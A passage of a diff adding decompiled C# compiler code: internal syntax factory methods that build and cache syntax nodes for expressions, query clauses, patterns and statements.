+ int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8653, (GreenNode)(object)stackAllocKeyword, (GreenNode)(object)type, (GreenNode)(object)initializer, ref num); + if (val != null) + { + return (StackAllocArrayCreationExpressionSyntax)(object)val; + } + StackAllocArrayCreationExpressionSyntax stackAllocArrayCreationExpressionSyntax = new StackAllocArrayCreationExpressionSyntax(SyntaxKind.StackAllocArrayCreationExpression, stackAllocKeyword, type, initializer); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)stackAllocArrayCreationExpressionSyntax, num); + } + return stackAllocArrayCreationExpressionSyntax; + } + + public static ImplicitStackAllocArrayCreationExpressionSyntax ImplicitStackAllocArrayCreationExpression(SyntaxToken stackAllocKeyword, SyntaxToken openBracketToken, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer) + { + return new ImplicitStackAllocArrayCreationExpressionSyntax(SyntaxKind.ImplicitStackAllocArrayCreationExpression, stackAllocKeyword, openBracketToken, closeBracketToken, initializer); + } + + public static CollectionExpressionSyntax CollectionExpression(SyntaxToken openBracketToken, SeparatedSyntaxList elements, SyntaxToken closeBracketToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9076, (GreenNode)(object)openBracketToken, elements.Node, (GreenNode)(object)closeBracketToken, ref num); + if (val != null) + { + return (CollectionExpressionSyntax)(object)val; + } + CollectionExpressionSyntax collectionExpressionSyntax = new CollectionExpressionSyntax(SyntaxKind.CollectionExpression, openBracketToken, elements.Node, closeBracketToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)collectionExpressionSyntax, num); + } + return collectionExpressionSyntax; + } + + public static ExpressionElementSyntax ExpressionElement(ExpressionSyntax expression) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9077, (GreenNode)(object)expression, ref num); + if (val != null) + { + return (ExpressionElementSyntax)(object)val; + } + ExpressionElementSyntax expressionElementSyntax = new ExpressionElementSyntax(SyntaxKind.ExpressionElement, expression); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)expressionElementSyntax, num); + } + return expressionElementSyntax; + } + + public static SpreadElementSyntax SpreadElement(SyntaxToken operatorToken, ExpressionSyntax expression) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9078, (GreenNode)(object)operatorToken, (GreenNode)(object)expression, ref num); + if (val != null) + { + return (SpreadElementSyntax)(object)val; + } + SpreadElementSyntax spreadElementSyntax = new SpreadElementSyntax(SyntaxKind.SpreadElement, operatorToken, expression); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)spreadElementSyntax, num); + } + return spreadElementSyntax; + } + + public static QueryExpressionSyntax QueryExpression(FromClauseSyntax fromClause, QueryBodySyntax body) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8774, (GreenNode)(object)fromClause, (GreenNode)(object)body, ref num); + if (val != null) + { + return (QueryExpressionSyntax)(object)val; + } + QueryExpressionSyntax queryExpressionSyntax = new QueryExpressionSyntax(SyntaxKind.QueryExpression, fromClause, body); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)queryExpressionSyntax, num); + } + return queryExpressionSyntax; + } + + public static QueryBodySyntax QueryBody(SyntaxList clauses, SelectOrGroupClauseSyntax selectOrGroup, QueryContinuationSyntax? continuation) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8775, clauses.Node, (GreenNode)(object)selectOrGroup, (GreenNode)(object)continuation, ref num); + if (val != null) + { + return (QueryBodySyntax)(object)val; + } + QueryBodySyntax queryBodySyntax = new QueryBodySyntax(SyntaxKind.QueryBody, clauses.Node, selectOrGroup, continuation); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)queryBodySyntax, num); + } + return queryBodySyntax; + } + + public static FromClauseSyntax FromClause(SyntaxToken fromKeyword, TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression) + { + return new FromClauseSyntax(SyntaxKind.FromClause, fromKeyword, type, identifier, inKeyword, expression); + } + + public static LetClauseSyntax LetClause(SyntaxToken letKeyword, SyntaxToken identifier, SyntaxToken equalsToken, ExpressionSyntax expression) + { + return new LetClauseSyntax(SyntaxKind.LetClause, letKeyword, identifier, equalsToken, expression); + } + + public static JoinClauseSyntax JoinClause(SyntaxToken joinKeyword, TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax inExpression, SyntaxToken onKeyword, ExpressionSyntax leftExpression, SyntaxToken equalsKeyword, ExpressionSyntax rightExpression, JoinIntoClauseSyntax? into) + { + return new JoinClauseSyntax(SyntaxKind.JoinClause, joinKeyword, type, identifier, inKeyword, inExpression, onKeyword, leftExpression, equalsKeyword, rightExpression, into); + } + + public static JoinIntoClauseSyntax JoinIntoClause(SyntaxToken intoKeyword, SyntaxToken identifier) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8779, (GreenNode)(object)intoKeyword, (GreenNode)(object)identifier, ref num); + if (val != null) + { + return (JoinIntoClauseSyntax)(object)val; + } + JoinIntoClauseSyntax joinIntoClauseSyntax = new JoinIntoClauseSyntax(SyntaxKind.JoinIntoClause, intoKeyword, identifier); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)joinIntoClauseSyntax, num); + } + return joinIntoClauseSyntax; + } + + public static WhereClauseSyntax WhereClause(SyntaxToken whereKeyword, ExpressionSyntax condition) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8780, (GreenNode)(object)whereKeyword, (GreenNode)(object)condition, ref num); + if (val != null) + { + return (WhereClauseSyntax)(object)val; + } + WhereClauseSyntax whereClauseSyntax = new WhereClauseSyntax(SyntaxKind.WhereClause, whereKeyword, condition); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)whereClauseSyntax, num); + } + return whereClauseSyntax; + } + + public static OrderByClauseSyntax OrderByClause(SyntaxToken orderByKeyword, SeparatedSyntaxList orderings) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8781, (GreenNode)(object)orderByKeyword, orderings.Node, ref num); + if (val != null) + { + return (OrderByClauseSyntax)(object)val; + } + OrderByClauseSyntax orderByClauseSyntax = new OrderByClauseSyntax(SyntaxKind.OrderByClause, orderByKeyword, orderings.Node); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)orderByClauseSyntax, num); + } + return orderByClauseSyntax; + } + + public static OrderingSyntax Ordering(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken? ascendingOrDescendingKeyword) + { + if (kind - 8782 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)expression, (GreenNode)(object)ascendingOrDescendingKeyword, ref num); + if (val != null) + { + return (OrderingSyntax)(object)val; + } + OrderingSyntax orderingSyntax = new OrderingSyntax(kind, expression, ascendingOrDescendingKeyword); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)orderingSyntax, num); + } + return orderingSyntax; + } + + public static SelectClauseSyntax SelectClause(SyntaxToken selectKeyword, ExpressionSyntax expression) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8784, (GreenNode)(object)selectKeyword, (GreenNode)(object)expression, ref num); + if (val != null) + { + return (SelectClauseSyntax)(object)val; + } + SelectClauseSyntax selectClauseSyntax = new SelectClauseSyntax(SyntaxKind.SelectClause, selectKeyword, expression); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)selectClauseSyntax, num); + } + return selectClauseSyntax; + } + + public static GroupClauseSyntax GroupClause(SyntaxToken groupKeyword, ExpressionSyntax groupExpression, SyntaxToken byKeyword, ExpressionSyntax byExpression) + { + return new GroupClauseSyntax(SyntaxKind.GroupClause, groupKeyword, groupExpression, byKeyword, byExpression); + } + + public static QueryContinuationSyntax QueryContinuation(SyntaxToken intoKeyword, SyntaxToken identifier, QueryBodySyntax body) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8786, (GreenNode)(object)intoKeyword, (GreenNode)(object)identifier, (GreenNode)(object)body, ref num); + if (val != null) + { + return (QueryContinuationSyntax)(object)val; + } + QueryContinuationSyntax queryContinuationSyntax = new QueryContinuationSyntax(SyntaxKind.QueryContinuation, intoKeyword, identifier, body); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)queryContinuationSyntax, num); + } + return queryContinuationSyntax; + } + + public static OmittedArraySizeExpressionSyntax OmittedArraySizeExpression(SyntaxToken omittedArraySizeExpressionToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8654, (GreenNode)(object)omittedArraySizeExpressionToken, ref num); + if (val != null) + { + return (OmittedArraySizeExpressionSyntax)(object)val; + } + OmittedArraySizeExpressionSyntax omittedArraySizeExpressionSyntax = new OmittedArraySizeExpressionSyntax(SyntaxKind.OmittedArraySizeExpression, omittedArraySizeExpressionToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)omittedArraySizeExpressionSyntax, num); + } + return omittedArraySizeExpressionSyntax; + } + + public static InterpolatedStringExpressionSyntax InterpolatedStringExpression(SyntaxToken stringStartToken, SyntaxList contents, SyntaxToken stringEndToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8655, (GreenNode)(object)stringStartToken, contents.Node, (GreenNode)(object)stringEndToken, ref num); + if (val != null) + { + return (InterpolatedStringExpressionSyntax)(object)val; + } + InterpolatedStringExpressionSyntax interpolatedStringExpressionSyntax = new InterpolatedStringExpressionSyntax(SyntaxKind.InterpolatedStringExpression, stringStartToken, contents.Node, stringEndToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)interpolatedStringExpressionSyntax, num); + } + return interpolatedStringExpressionSyntax; + } + + public static IsPatternExpressionSyntax IsPatternExpression(ExpressionSyntax expression, SyntaxToken isKeyword, PatternSyntax pattern) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8657, (GreenNode)(object)expression, (GreenNode)(object)isKeyword, (GreenNode)(object)pattern, ref num); + if (val != null) + { + return (IsPatternExpressionSyntax)(object)val; + } + IsPatternExpressionSyntax isPatternExpressionSyntax = new IsPatternExpressionSyntax(SyntaxKind.IsPatternExpression, expression, isKeyword, pattern); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)isPatternExpressionSyntax, num); + } + return isPatternExpressionSyntax; + } + + public static ThrowExpressionSyntax ThrowExpression(SyntaxToken throwKeyword, ExpressionSyntax expression) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9052, (GreenNode)(object)throwKeyword, (GreenNode)(object)expression, ref num); + if (val != null) + { + return (ThrowExpressionSyntax)(object)val; + } + ThrowExpressionSyntax throwExpressionSyntax = new ThrowExpressionSyntax(SyntaxKind.ThrowExpression, throwKeyword, expression); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)throwExpressionSyntax, num); + } + return throwExpressionSyntax; + } + + public static WhenClauseSyntax WhenClause(SyntaxToken whenKeyword, ExpressionSyntax condition) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9013, (GreenNode)(object)whenKeyword, (GreenNode)(object)condition, ref num); + if (val != null) + { + return (WhenClauseSyntax)(object)val; + } + WhenClauseSyntax whenClauseSyntax = new WhenClauseSyntax(SyntaxKind.WhenClause, whenKeyword, condition); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)whenClauseSyntax, num); + } + return whenClauseSyntax; + } + + public static DiscardPatternSyntax DiscardPattern(SyntaxToken underscoreToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9024, (GreenNode)(object)underscoreToken, ref num); + if (val != null) + { + return (DiscardPatternSyntax)(object)val; + } + DiscardPatternSyntax discardPatternSyntax = new DiscardPatternSyntax(SyntaxKind.DiscardPattern, underscoreToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)discardPatternSyntax, num); + } + return discardPatternSyntax; + } + + public static DeclarationPatternSyntax DeclarationPattern(TypeSyntax type, VariableDesignationSyntax designation) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9000, (GreenNode)(object)type, (GreenNode)(object)designation, ref num); + if (val != null) + { + return (DeclarationPatternSyntax)(object)val; + } + DeclarationPatternSyntax declarationPatternSyntax = new DeclarationPatternSyntax(SyntaxKind.DeclarationPattern, type, designation); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)declarationPatternSyntax, num); + } + return declarationPatternSyntax; + } + + public static VarPatternSyntax VarPattern(SyntaxToken varKeyword, VariableDesignationSyntax designation) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9027, (GreenNode)(object)varKeyword, (GreenNode)(object)designation, ref num); + if (val != null) + { + return (VarPatternSyntax)(object)val; + } + VarPatternSyntax varPatternSyntax = new VarPatternSyntax(SyntaxKind.VarPattern, varKeyword, designation); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)varPatternSyntax, num); + } + return varPatternSyntax; + } + + public static RecursivePatternSyntax RecursivePattern(TypeSyntax? type, PositionalPatternClauseSyntax? positionalPatternClause, PropertyPatternClauseSyntax? propertyPatternClause, VariableDesignationSyntax? designation) + { + return new RecursivePatternSyntax(SyntaxKind.RecursivePattern, type, positionalPatternClause, propertyPatternClause, designation); + } + + public static PositionalPatternClauseSyntax PositionalPatternClause(SyntaxToken openParenToken, SeparatedSyntaxList subpatterns, SyntaxToken closeParenToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9023, (GreenNode)(object)openParenToken, subpatterns.Node, (GreenNode)(object)closeParenToken, ref num); + if (val != null) + { + return (PositionalPatternClauseSyntax)(object)val; + } + PositionalPatternClauseSyntax positionalPatternClauseSyntax = new PositionalPatternClauseSyntax(SyntaxKind.PositionalPatternClause, openParenToken, subpatterns.Node, closeParenToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)positionalPatternClauseSyntax, num); + } + return positionalPatternClauseSyntax; + } + + public static PropertyPatternClauseSyntax PropertyPatternClause(SyntaxToken openBraceToken, SeparatedSyntaxList subpatterns, SyntaxToken closeBraceToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9021, (GreenNode)(object)openBraceToken, subpatterns.Node, (GreenNode)(object)closeBraceToken, ref num); + if (val != null) + { + return (PropertyPatternClauseSyntax)(object)val; + } + PropertyPatternClauseSyntax propertyPatternClauseSyntax = new PropertyPatternClauseSyntax(SyntaxKind.PropertyPatternClause, openBraceToken, subpatterns.Node, closeBraceToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)propertyPatternClauseSyntax, num); + } + return propertyPatternClauseSyntax; + } + + public static SubpatternSyntax Subpattern(BaseExpressionColonSyntax? expressionColon, PatternSyntax pattern) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9022, (GreenNode)(object)expressionColon, (GreenNode)(object)pattern, ref num); + if (val != null) + { + return (SubpatternSyntax)(object)val; + } + SubpatternSyntax subpatternSyntax = new SubpatternSyntax(SyntaxKind.Subpattern, expressionColon, pattern); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)subpatternSyntax, num); + } + return subpatternSyntax; + } + + public static ConstantPatternSyntax ConstantPattern(ExpressionSyntax expression) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9002, (GreenNode)(object)expression, ref num); + if (val != null) + { + return (ConstantPatternSyntax)(object)val; + } + ConstantPatternSyntax constantPatternSyntax = new ConstantPatternSyntax(SyntaxKind.ConstantPattern, expression); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)constantPatternSyntax, num); + } + return constantPatternSyntax; + } + + public static ParenthesizedPatternSyntax ParenthesizedPattern(SyntaxToken openParenToken, PatternSyntax pattern, SyntaxToken closeParenToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9028, (GreenNode)(object)openParenToken, (GreenNode)(object)pattern, (GreenNode)(object)closeParenToken, ref num); + if (val != null) + { + return (ParenthesizedPatternSyntax)(object)val; + } + ParenthesizedPatternSyntax parenthesizedPatternSyntax = new ParenthesizedPatternSyntax(SyntaxKind.ParenthesizedPattern, openParenToken, pattern, closeParenToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)parenthesizedPatternSyntax, num); + } + return parenthesizedPatternSyntax; + } + + public static RelationalPatternSyntax RelationalPattern(SyntaxToken operatorToken, ExpressionSyntax expression) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9029, (GreenNode)(object)operatorToken, (GreenNode)(object)expression, ref num); + if (val != null) + { + return (RelationalPatternSyntax)(object)val; + } + RelationalPatternSyntax relationalPatternSyntax = new RelationalPatternSyntax(SyntaxKind.RelationalPattern, operatorToken, expression); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)relationalPatternSyntax, num); + } + return relationalPatternSyntax; + } + + public static TypePatternSyntax TypePattern(TypeSyntax type) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9030, (GreenNode)(object)type, ref num); + if (val != null) + { + return (TypePatternSyntax)(object)val; + } + TypePatternSyntax typePatternSyntax = new TypePatternSyntax(SyntaxKind.TypePattern, type); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)typePatternSyntax, num); + } + return typePatternSyntax; + } + + public static BinaryPatternSyntax BinaryPattern(SyntaxKind kind, PatternSyntax left, SyntaxToken operatorToken, PatternSyntax right) + { + if (kind - 9031 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)left, (GreenNode)(object)operatorToken, (GreenNode)(object)right, ref num); + if (val != null) + { + return (BinaryPatternSyntax)(object)val; + } + BinaryPatternSyntax binaryPatternSyntax = new BinaryPatternSyntax(kind, left, operatorToken, right); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)binaryPatternSyntax, num); + } + return binaryPatternSyntax; + } + + public static UnaryPatternSyntax UnaryPattern(SyntaxToken operatorToken, PatternSyntax pattern) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9033, (GreenNode)(object)operatorToken, (GreenNode)(object)pattern, ref num); + if (val != null) + { + return (UnaryPatternSyntax)(object)val; + } + UnaryPatternSyntax unaryPatternSyntax = new UnaryPatternSyntax(SyntaxKind.NotPattern, operatorToken, pattern); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)unaryPatternSyntax, num); + } + return unaryPatternSyntax; + } + + public static ListPatternSyntax ListPattern(SyntaxToken openBracketToken, SeparatedSyntaxList patterns, SyntaxToken closeBracketToken, VariableDesignationSyntax? designation) + { + return new ListPatternSyntax(SyntaxKind.ListPattern, openBracketToken, patterns.Node, closeBracketToken, designation); + } + + public static SlicePatternSyntax SlicePattern(SyntaxToken dotDotToken, PatternSyntax? pattern) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9034, (GreenNode)(object)dotDotToken, (GreenNode)(object)pattern, ref num); + if (val != null) + { + return (SlicePatternSyntax)(object)val; + } + SlicePatternSyntax slicePatternSyntax = new SlicePatternSyntax(SyntaxKind.SlicePattern, dotDotToken, pattern); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)slicePatternSyntax, num); + } + return slicePatternSyntax; + } + + public static InterpolatedStringTextSyntax InterpolatedStringText(SyntaxToken textToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8919, (GreenNode)(object)textToken, ref num); + if (val != null) + { + return (InterpolatedStringTextSyntax)(object)val; + } + InterpolatedStringTextSyntax interpolatedStringTextSyntax = new InterpolatedStringTextSyntax(SyntaxKind.InterpolatedStringText, textToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)interpolatedStringTextSyntax, num); + } + return interpolatedStringTextSyntax; + } + + public static InterpolationSyntax Interpolation(SyntaxToken openBraceToken, ExpressionSyntax expression, InterpolationAlignmentClauseSyntax? alignmentClause, InterpolationFormatClauseSyntax? formatClause, SyntaxToken closeBraceToken) + { + return new InterpolationSyntax(SyntaxKind.Interpolation, openBraceToken, expression, alignmentClause, formatClause, closeBraceToken); + } + + public static InterpolationAlignmentClauseSyntax InterpolationAlignmentClause(SyntaxToken commaToken, ExpressionSyntax value) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8920, (GreenNode)(object)commaToken, (GreenNode)(object)value, ref num); + if (val != null) + { + return (InterpolationAlignmentClauseSyntax)(object)val; + } + InterpolationAlignmentClauseSyntax interpolationAlignmentClauseSyntax = new InterpolationAlignmentClauseSyntax(SyntaxKind.InterpolationAlignmentClause, commaToken, value); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)interpolationAlignmentClauseSyntax, num); + } + return interpolationAlignmentClauseSyntax; + } + + public static InterpolationFormatClauseSyntax InterpolationFormatClause(SyntaxToken colonToken, SyntaxToken formatStringToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8921, (GreenNode)(object)colonToken, (GreenNode)(object)formatStringToken, ref num); + if (val != null) + { + return (InterpolationFormatClauseSyntax)(object)val; + } + InterpolationFormatClauseSyntax interpolationFormatClauseSyntax = new InterpolationFormatClauseSyntax(SyntaxKind.InterpolationFormatClause, colonToken, formatStringToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)interpolationFormatClauseSyntax, num); + } + return interpolationFormatClauseSyntax; + } + + public static GlobalStatementSyntax GlobalStatement(SyntaxList attributeLists, SyntaxList modifiers, StatementSyntax statement) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8841, attributeLists.Node, modifiers.Node, (GreenNode)(object)statement, ref num); + if (val != null) + { + return (GlobalStatementSyntax)(object)val; + } + GlobalStatementSyntax globalStatementSyntax = new GlobalStatementSyntax(SyntaxKind.GlobalStatement, attributeLists.Node, modifiers.Node, statement); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)globalStatementSyntax, num); + } + return globalStatementSyntax; + } + + public static BlockSyntax Block(SyntaxList attributeLists, SyntaxToken openBraceToken, SyntaxList statements, SyntaxToken closeBraceToken) + { + return new BlockSyntax(SyntaxKind.Block, attributeLists.Node, openBraceToken, statements.Node, closeBraceToken); + } + + public static LocalFunctionStatementSyntax LocalFunctionStatement(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new LocalFunctionStatementSyntax(SyntaxKind.LocalFunctionStatement, attributeLists.Node, modifiers.Node, returnType, identifier, typeParameterList, parameterList, constraintClauses.Node, body, expressionBody, semicolonToken); + } + + public static LocalDeclarationStatementSyntax LocalDeclarationStatement(SyntaxList attributeLists, SyntaxToken? awaitKeyword, SyntaxToken? usingKeyword, SyntaxList modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + return new LocalDeclarationStatementSyntax(SyntaxKind.LocalDeclarationStatement, attributeLists.Node, awaitKeyword, usingKeyword, modifiers.Node, declaration, semicolonToken); + } + + public static VariableDeclarationSyntax VariableDeclaration(TypeSyntax type, SeparatedSyntaxList variables) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8794, (GreenNode)(object)type, variables.Node, ref num); + if (val != null) + { + return (VariableDeclarationSyntax)(object)val; + } + VariableDeclarationSyntax variableDeclarationSyntax = new VariableDeclarationSyntax(SyntaxKind.VariableDeclaration, type, variables.Node); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)variableDeclarationSyntax, num); + } + return variableDeclarationSyntax; + } + + public static VariableDeclaratorSyntax VariableDeclarator(SyntaxToken identifier, BracketedArgumentListSyntax? argumentList, EqualsValueClauseSyntax? initializer) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8795, (GreenNode)(object)identifier, (GreenNode)(object)argumentList, (GreenNode)(object)initializer, ref num); + if (val != null) + { + return (VariableDeclaratorSyntax)(object)val; + } + VariableDeclaratorSyntax variableDeclaratorSyntax = new VariableDeclaratorSyntax(SyntaxKind.VariableDeclarator, identifier, argumentList, initializer); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)variableDeclaratorSyntax, num); + } + return variableDeclaratorSyntax; + } + + public static EqualsValueClauseSyntax EqualsValueClause(SyntaxToken equalsToken, ExpressionSyntax value) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8796, (GreenNode)(object)equalsToken, (GreenNode)(object)value, ref num); + if (val != null) + { + return (EqualsValueClauseSyntax)(object)val; + } + EqualsValueClauseSyntax equalsValueClauseSyntax = new EqualsValueClauseSyntax(SyntaxKind.EqualsValueClause, equalsToken, value); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)equalsValueClauseSyntax, num); + } + return equalsValueClauseSyntax; + } + + public static SingleVariableDesignationSyntax SingleVariableDesignation(SyntaxToken identifier) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8927, (GreenNode)(object)identifier, ref num); + if (val != null) + { + return (SingleVariableDesignationSyntax)(object)val; + } + SingleVariableDesignationSyntax singleVariableDesignationSyntax = new SingleVariableDesignationSyntax(SyntaxKind.SingleVariableDesignation, identifier); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)singleVariableDesignationSyntax, num); + } + return singleVariableDesignationSyntax; + } + + public static DiscardDesignationSyntax DiscardDesignation(SyntaxToken underscoreToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9014, (GreenNode)(object)underscoreToken, ref num); + if (val != null) + { + return (DiscardDesignationSyntax)(object)val; + } + DiscardDesignationSyntax discardDesignationSyntax = new DiscardDesignationSyntax(SyntaxKind.DiscardDesignation, underscoreToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)discardDesignationSyntax, num); + } + return discardDesignationSyntax; + } + + public static ParenthesizedVariableDesignationSyntax ParenthesizedVariableDesignation(SyntaxToken openParenToken, SeparatedSyntaxList variables, SyntaxToken closeParenToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8928, (GreenNode)(object)openParenToken, variables.Node, (GreenNode)(object)closeParenToken, ref num); + if (val != null) + { + return (ParenthesizedVariableDesignationSyntax)(object)val; + } + ParenthesizedVariableDesignationSyntax parenthesizedVariableDesignationSyntax = new ParenthesizedVariableDesignationSyntax(SyntaxKind.ParenthesizedVariableDesignation, openParenToken, variables.Node, closeParenToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)parenthesizedVariableDesignationSyntax, num); + } + return parenthesizedVariableDesignationSyntax; + } + + public static ExpressionStatementSyntax ExpressionStatement(SyntaxList attributeLists, ExpressionSyntax expression, SyntaxToken semicolonToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8797, attributeLists.Node, (GreenNode)(object)expression, (GreenNode)(object)semicolonToken, ref num); + if (val != null) + { + return (ExpressionStatementSyntax)(object)val; + } + ExpressionStatementSyntax expressionStatementSyntax = new ExpressionStatementSyntax(SyntaxKind.ExpressionStatement, attributeLists.Node, expression, semicolonToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)expressionStatementSyntax, num); + } + return expressionStatementSyntax; + } + + public static EmptyStatementSyntax EmptyStatement(SyntaxList attributeLists, SyntaxToken semicolonToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8798, attributeLists.Node, (GreenNode)(object)semicolonToken, ref num); + if (val != null) + { + return (EmptyStatementSyntax)(object)val; + } + EmptyStatementSyntax emptyStatementSyntax = new EmptyStatementSyntax(SyntaxKind.EmptyStatement, attributeLists.Node, semicolonToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)emptyStatementSyntax, num); + } + return emptyStatementSyntax; + } + + public static LabeledStatementSyntax LabeledStatement(SyntaxList attributeLists, SyntaxToken identifier, SyntaxToken colonToken, StatementSyntax statement) + { + return new LabeledStatementSyntax(SyntaxKind.LabeledStatement, attributeLists.Node, identifier, colonToken, statement); + } + + public static GotoStatementSyntax GotoStatement(SyntaxKind kind, SyntaxList attributeLists, SyntaxToken gotoKeyword, SyntaxToken? caseOrDefaultKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + if (kind - 8800 > (SyntaxKind)2) + { + throw new ArgumentException("kind"); + } + return new GotoStatementSyntax(kind, attributeLists.Node, gotoKeyword, caseOrDefaultKeyword, expression, semicolonToken); + } + + public static BreakStatementSyntax BreakStatement(SyntaxList attributeLists, SyntaxToken breakKeyword, SyntaxToken semicolonToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8803, attributeLists.Node, (GreenNode)(object)breakKeyword, (GreenNode)(object)semicolonToken, ref num); + if (val != null) + { + return (BreakStatementSyntax)(object)val; + } + BreakStatementSyntax breakStatementSyntax = new BreakStatementSyntax(SyntaxKind.BreakStatement, attributeLists.Node, breakKeyword, semicolonToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)breakStatementSyntax, num); + } + return breakStatementSyntax; + } + + public static ContinueStatementSyntax ContinueStatement(SyntaxList attributeLists, SyntaxToken continueKeyword, SyntaxToken semicolonToken) + { + int num = default(int); + 